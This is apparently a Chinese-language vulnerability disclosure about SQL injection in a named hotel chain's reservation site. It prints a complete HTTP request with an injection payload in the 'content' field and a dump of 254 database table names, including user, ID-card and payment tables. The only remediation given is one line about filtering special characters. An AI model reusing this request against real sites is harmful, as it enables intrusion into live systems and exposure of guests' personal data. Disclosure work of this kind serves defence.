2015-12-17： 积极联系厂商并且等待厂商认领中，细节不对外公开 2016-01-28： 厂商已经主动忽略漏洞，细节向公众公开
我想说这254张tables，还有我不能看到的东西么？以后还能不能愉快的开房了？
POST /crs/internalMsgInfoList.html HTTP/1.1Content-Length: 151Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://www.ykinns.com:80/Cookie: JSESSIONID=0F35D01CD527AD63EF559BD18BEA2F68; JSESSIONID=8E9589F5903E9046C30649F7273752D5Host: www.ykinns.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*acceptTime=4111111111111111&button=%e6%90%9c%e7%b4%a2&content=-1'%20OR%203*2*1%3d6%20AND%20000208%3d000208%20--%20&msgtype=0&page=1&sendTime=1&status=0
254张tables，呵呵。。Database: chain702[254 tables]+-------------------------------+| order || user || accountingtitle || acctrecoverpoint || adinfo || adtype || agreementcompany || agreementcompany_view || agreementtype || assuretype || attrs || attrvalues || audit || auth_i || autoupuserlevel || backroomrecover || bigmenu || bills || brands || businessstatistic4day || businessstatisticsdailyreport || centerpower || changecard || checkroom || city || cityview || clearhouserecord || clearhouseset || clearroomrecords || clientmac || comefrom || comments || companyvoucher || compensationrecord || complaintsearch_view || complaintstatus || conferenceorder || conferenceroom || consumergoods || consumptions || consumptiontype || controltype || crfolder || croomstats || crpara || crreport || crreport_shoucang || currencytype || custacct || custacct_11 || custacct_20141105_708616 || custacct_invoice || custacctcheckout || customdept || datadictionary || dayrentforfree || dayreport || dayreportitem || dayreportmonth || dayreportyear || dayturnover || department || dept || dgoods || dgoods_20150104 || downtown || dynamichouse || dynamichouseprice || emp || equipment || equrepair || exchange || exchange_view || floor || gatecard || gateway || generalstatistic || generalstatistic_invoice || giftPresent || goods || gorder || gorderdetail || grouppaytemplate || gtype || guest_view || horder || horder_11 || horder_view || hotel || hotelcalendar || hotelzone || hourhouse || house || house_view || houseprice || housestatus || housetype || housetypestatistic || idcard || iftype || incre_table || industry || internalcommunicationinfo || invgoods || invoiceappend || keeper_view || leaveinfo || livegroup || livingcusthis || livingcusthis_invoice || log || loginfo || mail || mainmenu || manager || manager_view || managerdiscount || market || mealticket || membercoupon || memberzone || memberzone_wx || menu || message || microblogbind || mob_access || mob_problem || mobilepower || monthstatistic || msgtype || nations || news || news_view || newsimplelog || newtype || notice_view || oauthinfo || oldreport || onlineservice || operatingincome || operatordictionary || operatoryjtj || order_11 || pagepower || paratype || partsettlerecover || payment || permission || permissionlog || personcome || planreason || portalpower || power || powermacbind || preauth || priceagreement || priceplan || project || project20130403 || projectprice || projecttype || projecttypes || publicaccount || ratecode || ratecodedetail || ratecodedetails || ratetype || reason || reason_view || reasondictionary || rechargevalue || rechargevaluediscount || rent || rentleave || rentleave_view || rentleavestatus || repairlevel || reportmapping || resetuserpwdback || room || roomall || roomcount || roomdaydata || roomrate || roomstatistics || roomstatus_view || roomtype || rpt_memberconsumer || saleperson || salseanalysis || score || scoreback || scoreruleexp || scoretohouse || sendsmsginfo || sequence || settleacct || settleacct_11 || settleconference || sgoods || shift || shifthandover || simplegroup || simplegroup_11 || simplegroup_view || smsgdetails || smsginfo || smsgmoinfo || smsgtype || smsgtypedetails || specialevent || specialhouseprice || statisticitem || statisticitem_invoice || stopandrepairreason || stoproomreport_view || store || supplier || supplier_wms || sys || sys_wx || sysctrl || systemlog || systemlog_view || task || telebill || tempinfo || thirdportal || ticketset || tickettransfer || tickettype || tmember || totalaccount || transfer || user_view || userback || userblackinfo || usercardprice || userhotelid || userlevel || userlevel_bck || userpreference || userrelorder || userrelorder_11 || userrelorder_user_view || userscore || userscorerule || userstatistic || vacctdetail || virtualacct || wakeuproom || workacct || workrecord || wrs_style |+-------------------------------+
屏蔽特殊字符
未能联系到厂商或者厂商积极拒绝
